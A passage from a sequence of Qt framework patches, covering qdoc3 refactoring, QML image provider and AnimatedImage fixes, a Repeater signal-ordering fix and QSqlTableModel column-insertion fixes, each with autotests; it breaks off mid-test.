89ec6fe..d5564f7 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -206,15 +206,15 @@ QString PageGenerator::fileBase(const Node *node) const #ifdef QDOC_QML /* To avoid file name conflicts in the html directory, - we prepend "qml-" to the file name of QML element doc - files. + we prepend a prefix (by default, "qml-") to the file name of QML + element doc files. */ if ((p->subType() == Node::QmlClass) || (p->subType() == Node::QmlBasicType)) { if (!base.startsWith(QLatin1String("QML:"))) - base.prepend("qml-"); + base.prepend(outputPrefix(QLatin1String("QML"))); } -#endif +#endif if (!pp || pp->name().isEmpty() || pp->type() == Node::Fake) break; base.prepend(QLatin1Char('-')); diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 5972b9f..eec6578 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -1226,7 +1226,7 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, QString fullName = fullDocumentName(node); if (fullName != objName) writer.writeAttribute("fullname", fullName); - writer.writeAttribute("href", fullDocumentLocation(node)); + writer.writeAttribute("href", HtmlGenerator::fullDocumentLocation(node)); if ((node->type() != Node::Fake) && (!node->isQmlNode())) writer.writeAttribute("location", node->location().fileName()); @@ -1364,6 +1364,8 @@ bool Tree::generateIndexSection(QXmlStreamWriter &writer, { const QmlPropertyNode *qpn = static_cast(node); writer.writeAttribute("type", qpn->dataType()); + writer.writeAttribute("attached", qpn->isAttached() ? "true" : "false"); + writer.writeAttribute("writable", qpn->isWritable(this) ? "true" : "false"); } break; case Node::Property: @@ -1667,7 +1669,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer, if (node->type() == Node::Class) { writer.writeTextElement("name", fullDocumentName(node)); - writer.writeTextElement("filename", fullDocumentLocation(node)); + writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node)); // Classes contain information about their base classes. const ClassNode *classNode = static_cast(node); @@ -1685,7 +1687,7 @@ void Tree::generateTagFileCompounds(QXmlStreamWriter &writer, generateTagFileCompounds(writer, static_cast(node)); } else { writer.writeTextElement("name", fullDocumentName(node)); - writer.writeTextElement("filename", fullDocumentLocation(node)); + writer.writeTextElement("filename", HtmlGenerator::fullDocumentLocation(node)); // Recurse to write all members. generateTagFileMembers(writer, static_cast(node)); @@ -1806,7 +1808,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, "virtual " + functionNode->returnType()); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchorfile", pieces[0]); writer.writeTextElement("anchor", pieces[1]); @@ -1846,7 +1848,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, const PropertyNode *propertyNode = static_cast(node); writer.writeAttribute("type", propertyNode->dataType()); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchorfile", pieces[0]); writer.writeTextElement("anchor", pieces[1]); writer.writeTextElement("arglist", ""); @@ -1858,7 +1860,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, { const EnumNode *enumNode = static_cast(node); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchor", pieces[1]); writer.writeTextElement("arglist", ""); writer.writeEndElement(); // member @@ -1882,7 +1884,7 @@ void Tree::generateTagFileMembers(QXmlStreamWriter &writer, else writer.writeAttribute("type", ""); writer.writeTextElement("name", objName); - QStringList pieces = fullDocumentLocation(node).split("#"); + QStringList pieces = HtmlGenerator::fullDocumentLocation(node).split("#"); writer.writeTextElement("anchorfile", pieces[0]); writer.writeTextElement("anchor", pieces[1]); writer.writeTextElement("arglist", ""); @@ -1934,152 +1936,6 @@ void Tree::addExternalLink(const QString &url, const Node *relative) } /*! - Returns the full document location for HTML-based documentation. - This should be moved into the HTML generator. - */ -QString Tree::fullDocumentLocation(const Node *node) const -{ - if (!node) - return ""; - if (!node->url().isEmpty()) - return node->url(); - - QString parentName; - QString anchorRef; - - if (node->type() == Node::Namespace) { - - // The root namespace has no name - check for this before creating - // an attribute containing the location of any documentation. - - if (!node->fileBase().isEmpty()) - parentName = node->fileBase() + ".html"; - else - return ""; - } - else if (node->type() == Node::Fake) { -#ifdef QDOC_QML - if ((node->subType() == Node::QmlClass) || - (node->subType() == Node::QmlBasicType)) { - QString fb = node->fileBase(); - if (fb.startsWith(QLatin1String("qml-"))) - return fb + ".html"; - else - return "qml-" + node->fileBase() + ".html"; - } else -#endif - parentName = node->fileBase() + ".html"; - } - else if (node->fileBase().isEmpty()) - return ""; - - Node *parentNode = 0; - - if ((parentNode = node->relates())) - parentName = fullDocumentLocation(node->relates()); - else if ((parentNode = node->parent())) { - if (parentNode->subType() == Node::QmlPropertyGroup) { - parentNode = parentNode->parent(); - parentName = fullDocumentLocation(parentNode); - } - else - parentName = fullDocumentLocation(node->parent()); - } - - switch (node->type()) { - case Node::Class: - case Node::Namespace: - if (parentNode && !parentNode->name().isEmpty()) - parentName = parentName.replace(".html", "") + "-" - + node->fileBase().toLower() + ".html"; - else - parentName = node->fileBase() + ".html"; - break; - case Node::Function: - { - /* - Functions can be destructors, overloaded, or - have associated properties. - */ - const FunctionNode *functionNode = - static_cast(node); - - if (functionNode->metaness() == FunctionNode::Dtor) - anchorRef = "#dtor." + functionNode->name().mid(1); - - else if (functionNode->associatedProperty()) - return fullDocumentLocation(functionNode->associatedProperty()); - - else if (functionNode->overloadNumber() > 1) - anchorRef = "#" + functionNode->name() - + "-" + QString::number(functionNode->overloadNumber()); - else - anchorRef = "#" + functionNode->name(); - } - - /* - Use node->name() instead of node->fileBase() as - the latter returns the name in lower-case. For - HTML anchors, we need to preserve the case. - */ - break; - case Node::Enum: - anchorRef = "#" + node->name() + "-enum"; - break; - case Node::Typedef: - anchorRef = "#" + node->name() + "-typedef"; - break; - case Node::Property: - anchorRef = "#" + node->name() + "-prop"; - break; - case Node::QmlProperty: - anchorRef = "#" + node->name() + "-prop"; - break; - case Node::QmlSignal: - anchorRef = "#" + node->name() + "-signal"; - break; - case Node::QmlMethod: - anchorRef = "#" + node->name() + "-method"; - break; - case Node::Variable: - anchorRef = "#" + node->name() + "-var"; - break; - case Node::Target: - anchorRef = "#" + Doc::canonicalTitle(node->name()); - break; - case Node::Fake: - { - /* - Use node->fileBase() for fake nodes because they are represented - by pages whose file names are lower-case. - */ - parentName = node->fileBase(); - parentName.replace("/", "-").replace(".", "-"); - parentName += ".html"; - } - break; - default: - break; - } - - // Various objects can be compat (deprecated) or obsolete. - if (node->type() != Node::Class && node->type() != Node::Namespace) { - switch (node->status()) { - case Node::Compat: - parentName.replace(".html", "-qt3.html"); - break; - case Node::Obsolete: - parentName.replace(".html", "-obsolete.html"); - break; - default: - ; - } - } - - return parentName.toLower() + anchorRef; -} - -/*! Construct the full document name for \a node and return the name. */ -- cgit v0.12 From 9f8a181a619649c8a227e92f3d16677f4b7cb30a Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Fri, 4 Feb 2011 14:11:09 +1000 Subject: Clarify case preservation in QDeclarativeImageProviders Task-number: QTBUG-15905 Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativeengine.cpp | 2 +- src/declarative/qml/qdeclarativeimageprovider.cpp | 10 ++++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 890f500..37df226 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -776,7 +776,7 @@ void QDeclarativeEngine::addImageProvider(const QString &providerId, QDeclarativ { Q_D(QDeclarativeEngine); QMutexLocker locker(&d->mutex); - d->imageProviders.insert(providerId, QSharedPointer(provider)); + d->imageProviders.insert(providerId.toLower(), QSharedPointer(provider)); } /*! diff --git a/src/declarative/qml/qdeclarativeimageprovider.cpp b/src/declarative/qml/qdeclarativeimageprovider.cpp index 560077f..f111c20 100644 --- a/src/declarative/qml/qdeclarativeimageprovider.cpp +++ b/src/declarative/qml/qdeclarativeimageprovider.cpp @@ -75,6 +75,16 @@ public: invokes the appropriate image provider according to the providers that have been registered through QDeclarativeEngine::addImageProvider(). + Note that the identifiers are case-insensitive, but the rest of the URL will be passed on with + preserved case. For example, the below snippet would still specify that the image is loaded by the + image provider named "myimageprovider", but it would request a different image than the above snippet + ("Image.png" instead of "image.png"). + \qml + Image { source: "image://MyImageProvider/Image.png" } + \endqml + + If you want the rest of the URL to be case insensitive, you will have to take care + of that yourself inside your image provider. \section2 An example -- cgit v0.12 From 80d0fe9cbd92288a08d5ced8767f1edb651dae37 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Thu, 3 Feb 2011 16:54:13 +1000 Subject: AnimatedImage does not notify on status change. Task-number: QTBUG-16520 Reviewed-by: Michael Brasser --- .../graphicsitems/qdeclarativeanimatedimage.cpp | 22 +++++++++++++++++--- .../graphicsitems/qdeclarativeanimatedimage_p.h | 1 + .../qdeclarativeanimatedimage/data/qtbug-16520.qml | 17 +++++++++++++++ .../tst_qdeclarativeanimatedimage.cpp | 24 ++++++++++++++++++++++ 4 files changed, 61 insertions(+), 3 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp index 27bb6a2..016b87d 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage.cpp @@ -221,13 +221,22 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url) } d->url = url; + emit sourceChanged(d->url); - if (url.isEmpty()) { + if (isComponentComplete()) + load(); +} + +void QDeclarativeAnimatedImage::load() +{ + Q_D(QDeclarativeAnimatedImage); + + if (d->url.isEmpty()) { delete d->_movie; d->status = Null; } else { #ifndef QT_NO_LOCALFILE_OPTIMIZED_QML - QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url); + QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(d->url); if (!lf.isEmpty()) { //### should be unified with movieRequestFinished d->_movie = new QMovie(lf); @@ -235,6 +244,8 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url) qmlInfo(this) << "Error Reading Animated Image File " << d->url.toString(); delete d->_movie; d->_movie = 0; + d->status = Error; + emit statusChanged(d->status); return; } connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)), @@ -264,7 +275,6 @@ void QDeclarativeAnimatedImage::setSource(const QUrl &url) QObject::connect(d->reply, SIGNAL(finished()), this, SLOT(movieRequestFinished())); } - emit statusChanged(d->status); } @@ -294,6 +304,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished() #endif delete d->_movie; d->_movie = 0; + d->status = Error; + emit statusChanged(d->status); return; } connect(d->_movie, SIGNAL(stateChanged(QMovie::MovieState)), @@ -310,6 +322,8 @@ void QDeclarativeAnimatedImage::movieRequestFinished() if(d->paused) d->_movie->setPaused(true); d->setPixmap(d->_movie->currentPixmap()); + d->status = Ready; + emit statusChanged(d->status); } void QDeclarativeAnimatedImage::movieUpdate() @@ -336,6 +350,8 @@ void QDeclarativeAnimatedImage::componentComplete() { Q_D(QDeclarativeAnimatedImage); QDeclarativeItem::componentComplete(); // NOT QDeclarativeImage + if (d->url.isValid()) + load(); if (!d->reply) { setCurrentFrame(d->preset_currentframe); d->preset_currentframe = 0; diff --git a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h index e5025bf..e2ed70b 100644 --- a/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h +++ b/src/declarative/graphicsitems/qdeclarativeanimatedimage_p.h @@ -97,6 +97,7 @@ private Q_SLOTS: void playingStatusChanged(); protected: + virtual void load(); void componentComplete(); private: diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml new file mode 100644 index 0000000..cf5b601 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeanimatedimage/data/qtbug-16520.qml @@ -0,0 +1,17 @@ +import QtQuick 1.0 + +Rectangle { + width: 500 + height: 500 + + AnimatedImage { + objectName: "anim" + anchors.centerIn: parent + asynchronous: true + opacity: status == AnimatedImage.Ready ? 1 : 0 + + Behavior on opacity { + NumberAnimation { duration: 1000 } + } + } +} diff --git a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp index eba4239..104ee15 100644 --- a/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp +++ b/tests/auto/declarative/qdeclarativeanimatedimage/tst_qdeclarativeanimatedimage.cpp @@ -75,6 +75,7 @@ private slots: void sourceSize(); void sourceSizeReadOnly(); void invalidSource(); + void qtbug_16520(); private: QPixmap grabScene(QGraphicsScene *scene, int width, int height); @@ -307,6 +308,29 @@ void tst_qdeclarativeanimatedimage::invalidSource() QVERIFY(!anim->isPaused()); QCOMPARE(anim->currentFrame(), 0); QCOMPARE(anim->frameCount(), 0); + QTRY_VERIFY(anim->status() == 3); +} + +void tst_qdeclarativeanimatedimage::qtbug_16520() +{ + TestHTTPServer server(14449); + QVERIFY(server.isValid()); + server.serveDirectory(SRCDIR "/data"); + + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/qtbug-16520.qml")); + QTRY_VERIFY(component.isReady()); + + QDeclarativeRectangle *root = qobject_cast(component.create()); + QVERIFY(root); + QDeclarativeAnimatedImage *anim = root->findChild("anim"); + + anim->setProperty("source", "http://127.0.0.1:14449/stickman.gif"); + + QTRY_VERIFY(anim->opacity() == 0); + QTRY_VERIFY(anim->opacity() == 1); + + delete anim; } QTEST_MAIN(tst_qdeclarativeanimatedimage) -- cgit v0.12 From a9f1eaa6a368bf7a72b52c428728a3e3e0a76209 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Fri, 4 Feb 2011 10:36:38 +1000 Subject: modelChanged() should not be emitted until view is repopulated Otherwise, itemAt() returns invalid values at the time that modelChanged() is emitted. Task-number: QTBUG-17156 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativerepeater.cpp | 2 +- .../qdeclarativerepeater/data/modelChanged.qml | 26 +++++++++++++++++ .../tst_qdeclarativerepeater.cpp | 33 ++++++++++++++++++++++ 3 files changed, 60 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml diff --git a/src/declarative/graphicsitems/qdeclarativerepeater.cpp b/src/declarative/graphicsitems/qdeclarativerepeater.cpp index 8455513..4d0f34c 100644 --- a/src/declarative/graphicsitems/qdeclarativerepeater.cpp +++ b/src/declarative/graphicsitems/qdeclarativerepeater.cpp @@ -198,7 +198,6 @@ void QDeclarativeRepeater::setModel(const QVariant &model) */ } d->dataSource = model; - emit modelChanged(); QObject *object = qvariant_cast(model); QDeclarativeVisualModel *vim = 0; if (object && (vim = qobject_cast(object))) { @@ -226,6 +225,7 @@ void QDeclarativeRepeater::setModel(const QVariant &model) */ regenerate(); } + emit modelChanged(); emit countChanged(); } diff --git a/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml new file mode 100644 index 0000000..0b57d50 --- /dev/null +++ b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml @@ -0,0 +1,26 @@ +import QtQuick 1.1 + +Column { + Repeater { + id: repeater + objectName: "repeater" + + property int itemsCount + property variant itemsFound: [] + + delegate: Rectangle { + color: "red" + width: (index+1)*50 + height: 50 + } + + onModelChanged: { + repeater.itemsCount = repeater.count + var items = [] + for (var i=0; icount(), dataA.count()); + for (int i=0; icount(); i++) + QCOMPARE(repeater->itemAt(i), container->childItems().at(i+1)); // +1 to skip first Text object + QSignalSpy modelChangedSpy(repeater, SIGNAL(modelChanged())); QSignalSpy countSpy(repeater, SIGNAL(countChanged())); QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); @@ -547,6 +551,7 @@ void tst_QDeclarativeRepeater::resetModel() ctxt->setContextProperty("testData", dataB); QCOMPARE(repeater->count(), dataB.count()); + QCOMPARE(modelChangedSpy.count(), 1); QCOMPARE(countSpy.count(), 1); QCOMPARE(removedSpy.count(), dataA.count()); QCOMPARE(addedSpy.count(), dataB.count()); @@ -554,6 +559,7 @@ void tst_QDeclarativeRepeater::resetModel() QCOMPARE(addedSpy.at(i).at(0).toInt(), i); QCOMPARE(addedSpy.at(i).at(1).value(), repeater->itemAt(i)); } + modelChangedSpy.clear(); countSpy.clear(); removedSpy.clear(); addedSpy.clear(); @@ -562,6 +568,7 @@ void tst_QDeclarativeRepeater::resetModel() repeater->setModel(dataA); QCOMPARE(repeater->count(), dataA.count()); + QCOMPARE(modelChangedSpy.count(), 1); QCOMPARE(countSpy.count(), 1); QCOMPARE(removedSpy.count(), dataB.count()); QCOMPARE(addedSpy.count(), dataA.count()); @@ -569,6 +576,32 @@ void tst_QDeclarativeRepeater::resetModel() QCOMPARE(addedSpy.at(i).at(0).toInt(), i); QCOMPARE(addedSpy.at(i).at(1).value(), repeater->itemAt(i)); } + + delete canvas; +} + +// QTBUG-17156 +void tst_QDeclarativeRepeater::modelChanged() +{ + QDeclarativeEngine engine; + QDeclarativeComponent component(&engine, TEST_FILE("/modelChanged.qml")); + + QDeclarativeItem *rootObject = qobject_cast(component.create()); + QVERIFY(rootObject); + QDeclarativeRepeater *repeater = findItem(rootObject, "repeater"); + QVERIFY(repeater); + + repeater->setModel(4); + QCOMPARE(repeater->count(), 4); + QCOMPARE(repeater->property("itemsCount"), 4); + QCOMPARE(repeater->property("itemsFound").toList().count(), 4); + + repeater->setModel(10); + QCOMPARE(repeater->count(), 10); + QCOMPARE(repeater->property("itemsCount"), 10); + QCOMPARE(repeater->property("itemsFound").toList().count(), 10); + + delete rootObject; } void tst_QDeclarativeRepeater::properties() -- cgit v0.12 From 9c61e9a40e774fe32b16c133a5cdd6b9d9d29d83 Mon Sep 17 00:00:00 2001 From: Michael Goddard Date: Tue, 2 Nov 2010 12:14:03 +1000 Subject: QSqlTableModel/QSqlQueryModel and insertColumns problem. After inserting a column, fetching data through QSqlTableModel was off by one or more, since it passed the indexInQuery through to QSQM. Also, the headerData would sometimes return a blank string for an inserted column, and sometimes the column number. The autotests have been beefed up a little to check insertRows and insertColumns play nicely. Change-Id: I7399d4c4d94f958884b67ab9b39b5cf2485d8416 Task-number: QTBUG-12626 Reviewed-by: Charles Yin --- src/sql/models/qsqlquerymodel.cpp | 6 +- src/sql/models/qsqltablemodel.cpp | 10 +- tests/auto/qsqldatabase/tst_databases.h | 24 ++++ tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp | 31 ++++- tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp | 166 ++++++++++++++++++++++- 5 files changed, 223 insertions(+), 14 deletions(-) diff --git a/src/sql/models/qsqlquerymodel.cpp b/src/sql/models/qsqlquerymodel.cpp index 8730192..9800e67 100644 --- a/src/sql/models/qsqlquerymodel.cpp +++ b/src/sql/models/qsqlquerymodel.cpp @@ -279,7 +279,11 @@ QVariant QSqlQueryModel::headerData(int section, Qt::Orientation orientation, in val = d->headers.value(section).value(Qt::EditRole); if (val.isValid()) return val; - if (role == Qt::DisplayRole && d->rec.count() > section) + + // See if it's an inserted column (iiq.column() != -1) + QModelIndex dItem = indexInQuery(createIndex(0, section)); + + if (role == Qt::DisplayRole && d->rec.count() > section && dItem.column() != -1) return d->rec.fieldName(section); } return QAbstractItemModel::headerData(section, orientation, role); diff --git a/src/sql/models/qsqltablemodel.cpp b/src/sql/models/qsqltablemodel.cpp index 3bb46cc..6f9c284 100644 --- a/src/sql/models/qsqltablemodel.cpp +++ b/src/sql/models/qsqltablemodel.cpp @@ -423,6 +423,10 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const if (!index.isValid() || (role != Qt::DisplayRole && role != Qt::EditRole)) return QVariant(); + // Problem.. we need to use QSQM::indexInQuery to handle inserted columns + // but inserted rows we need to handle + // and indexInQuery is not virtual (grrr) so any values we pass to QSQM need + // to handle the insertedRows QModelIndex item = indexInQuery(index); switch (d->strategy) { @@ -450,7 +454,9 @@ QVariant QSqlTableModel::data(const QModelIndex &index, int role) const return var; break; } } - return QSqlQueryModel::data(item, role); + + // We need to handle row mapping here, but not column mapping + return QSqlQueryModel::data(index.sibling(item.row(), index.column()), role); } /*! @@ -1225,7 +1231,7 @@ int QSqlTableModel::rowCount(const QModelIndex &parent) const QModelIndex QSqlTableModel::indexInQuery(const QModelIndex &item) const { Q_D(const QSqlTableModel); - const QModelIndex it = QSqlQueryModel::indexInQuery(item); + const QModelIndex it = QSqlQueryModel::indexInQuery(item); // this adjusts columns only if (d->strategy == OnManualSubmit) { int rowOffset = 0; QSqlTableModelPrivate::CacheMap::ConstIterator i = d->cache.constBegin(); diff --git a/tests/auto/qsqldatabase/tst_databases.h b/tests/auto/qsqldatabase/tst_databases.h index 5dcf754..350e0d0 100644 --- a/tests/auto/qsqldatabase/tst_databases.h +++ b/tests/auto/qsqldatabase/tst_databases.h @@ -51,6 +51,7 @@ #include #include #include +#include #include @@ -166,6 +167,29 @@ public: return count; } + int fillTestTableWithStrategies( const QString& driverPrefix = QString() ) const + { + QTest::addColumn( "dbName" ); + QTest::addColumn("submitpolicy_i"); + int count = 0; + + for ( int i = 0; i < dbNames.count(); ++i ) { + QSqlDatabase db = QSqlDatabase::database( dbNames.at( i ) ); + + if ( !db.isValid() ) + continue; + + if ( driverPrefix.isEmpty() || db.driverName().startsWith( driverPrefix ) ) { + QTest::newRow( QString("%1 [field]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnFieldChange; + QTest::newRow( QString("%1 [row]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnRowChange; + QTest::newRow( QString("%1 [manual]").arg(dbNames.at( i )).toLatin1() ) << dbNames.at( i ) << (int)QSqlTableModel::OnManualSubmit; + ++count; + } + } + + return count; + } + void addDb( const QString& driver, const QString& dbName, const QString& user = QString(), const QString& passwd = QString(), const QString& host = QString(), int port = -1, const QString params = QString() ) diff --git a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp index 0ca1417..e876764 100644 --- a/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp +++ b/tests/auto/qsqlquerymodel/tst_qsqlquerymodel.cpp @@ -318,6 +318,11 @@ void tst_QSqlQueryModel::insertColumn() model.setQuery(QSqlQuery("select * from " + qTableName("test", __FILE__), db)); model.fetchMore(); // necessary??? + bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2"); + const QString idColumn(isToUpper ? "ID" : "id"); + const QString nameColumn(isToUpper ? "NAME" : "name"); + const QString titleColumn(isToUpper ? "TITLE" : "title"); + QSignalSpy spy(&model, SIGNAL(columnsInserted(QModelIndex, int, int))); QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); @@ -325,6 +330,11 @@ void tst_QSqlQueryModel::insertColumn() QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); QCOMPARE(model.data(model.index(0, 3)), QVariant()); + QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn); + QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), nameColumn); + QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), titleColumn); + QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), QString("4")); + QVERIFY(model.insertColumn(1)); QCOMPARE(spy.count(), 1); @@ -344,6 +354,12 @@ void tst_QSqlQueryModel::insertColumn() QCOMPARE(model.data(model.index(0, 3)).toInt(), 1); QCOMPARE(model.data(model.index(0, 4)), QVariant()); + QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), idColumn); + QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), QString("2")); + QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), nameColumn); + QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), titleColumn); + QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), QString("5")); + QVERIFY(!model.insertColumn(-1)); QVERIFY(!model.insertColumn(100)); QVERIFY(!model.insertColumn(1, model.index(1, 1))); @@ -378,14 +394,21 @@ void tst_QSqlQueryModel::insertColumn() QCOMPARE(model.indexInQuery(model.index(0, 5)).column(), -1); QCOMPARE(model.indexInQuery(model.index(0, 6)).column(), -1); - bool isToUpper = db.driverName().startsWith("QIBASE") || db.driverName().startsWith("QOCI") || db.driverName().startsWith("QDB2"); QCOMPARE(model.record().field(0).name(), QString()); - QCOMPARE(model.record().field(1).name(), isToUpper ? QString("ID") : QString("id")); + QCOMPARE(model.record().field(1).name(), idColumn); QCOMPARE(model.record().field(2).name(), QString()); - QCOMPARE(model.record().field(3).name(), isToUpper ? QString("NAME") : QString("name")); - QCOMPARE(model.record().field(4).name(), isToUpper ? QString("TITLE") : QString("title")); + QCOMPARE(model.record().field(3).name(), nameColumn); + QCOMPARE(model.record().field(4).name(), titleColumn); QCOMPARE(model.record().field(5).name(), QString()); QCOMPARE(model.record().field(6).name(), QString()); + + QCOMPARE(model.headerData(0, Qt::Horizontal).toString(), QString("1")); + QCOMPARE(model.headerData(1, Qt::Horizontal).toString(), idColumn); + QCOMPARE(model.headerData(2, Qt::Horizontal).toString(), QString("3")); + QCOMPARE(model.headerData(3, Qt::Horizontal).toString(), nameColumn); + QCOMPARE(model.headerData(4, Qt::Horizontal).toString(), titleColumn); + QCOMPARE(model.headerData(5, Qt::Horizontal).toString(), QString("6")); + QCOMPARE(model.headerData(6, Qt::Horizontal).toString(), QString("7")); } void tst_QSqlQueryModel::record() diff --git a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp index f9fcaf0..1821d9c 100644 --- a/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp +++ b/tests/auto/qsqltablemodel/tst_qsqltablemodel.cpp @@ -78,11 +78,13 @@ private slots: void select_data() { generic_data(); } void select(); + void insertColumns_data() { generic_data_with_strategies(); } + void insertColumns(); void submitAll_data() { generic_data(); } void submitAll(); void setRecord_data() { generic_data(); } void setRecord(); - void insertRow_data() { generic_data(); } + void insertRow_data() { generic_data_with_strategies(); } void insertRow(); void insertRecord_data() { generic_data(); } void insertRecord(); @@ -130,6 +132,7 @@ private slots: void insertBeforeDelete(); private: void generic_data(const QString& engine=QString()); + void generic_data_with_strategies(const QString& engine=QString()); }; tst_QSqlTableModel::tst_QSqlTableModel() @@ -227,7 +230,17 @@ void tst_QSqlTableModel::recreateTestTables() void tst_QSqlTableModel::generic_data(const QString &engine) { if ( dbs.fillTestTable(engine) == 0 ) { - if(engine.isEmpty()) + if (engine.isEmpty()) + QSKIP( "No database drivers are available in this Qt configuration", SkipAll ); + else + QSKIP( (QString("No database drivers of type %1 are available in this Qt configuration").arg(engine)).toLocal8Bit(), SkipAll ); + } +} + +void tst_QSqlTableModel::generic_data_with_strategies(const QString &engine) +{ + if ( dbs.fillTestTableWithStrategies(engine) == 0 ) { + if (engine.isEmpty()) QSKIP( "No database drivers are available in this Qt configuration", SkipAll ); else QSKIP( (QString("No database drivers of type %1 are available in this Qt configuration").arg(engine)).toLocal8Bit(), SkipAll ); @@ -289,6 +302,81 @@ void tst_QSqlTableModel::select() QCOMPARE(model.data(model.index(3, 3)), QVariant()); } +void tst_QSqlTableModel::insertColumns() +{ + // Just like the select test, with extra stuff + QFETCH(QString, dbName); + QFETCH(int, submitpolicy_i); + QSqlTableModel::EditStrategy submitpolicy = (QSqlTableModel::EditStrategy) submitpolicy_i; + QSqlDatabase db = QSqlDatabase::database(dbName); + CHECK_DATABASE(db); + + QSqlTableModel model(0, db); + model.setTable(test); + model.setSort(0, Qt::AscendingOrder); + model.setEditStrategy(submitpolicy); + + QVERIFY_SQL(model, select()); + + QCOMPARE(model.rowCount(), 3); + QCOMPARE(model.columnCount(), 3); + + QCOMPARE(model.data(model.index(0, 0)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry")); + QCOMPARE(model.data(model.index(0, 2)).toInt(), 1); + QCOMPARE(model.data(model.index(0, 3)), QVariant()); + + QCOMPARE(model.data(model.index(1, 0)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond")); + QCOMPARE(model.data(model.index(1, 2)).toInt(), 2); + QCOMPARE(model.data(model.index(1, 3)), QVariant()); + + QCOMPARE(model.data(model.index(2, 0)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi")); + QCOMPARE(model.data(model.index(2, 2)).toInt(), 3); + QCOMPARE(model.data(model.index(2, 3)), QVariant()); + + QCOMPARE(model.data(model.index(3, 0)), QVariant()); + QCOMPARE(model.data(model.index(3, 1)), QVariant()); + QCOMPARE(model.data(model.index(3, 2)), QVariant()); + QCOMPARE(model.data(model.index(3, 3)), QVariant()); + + // Now add a 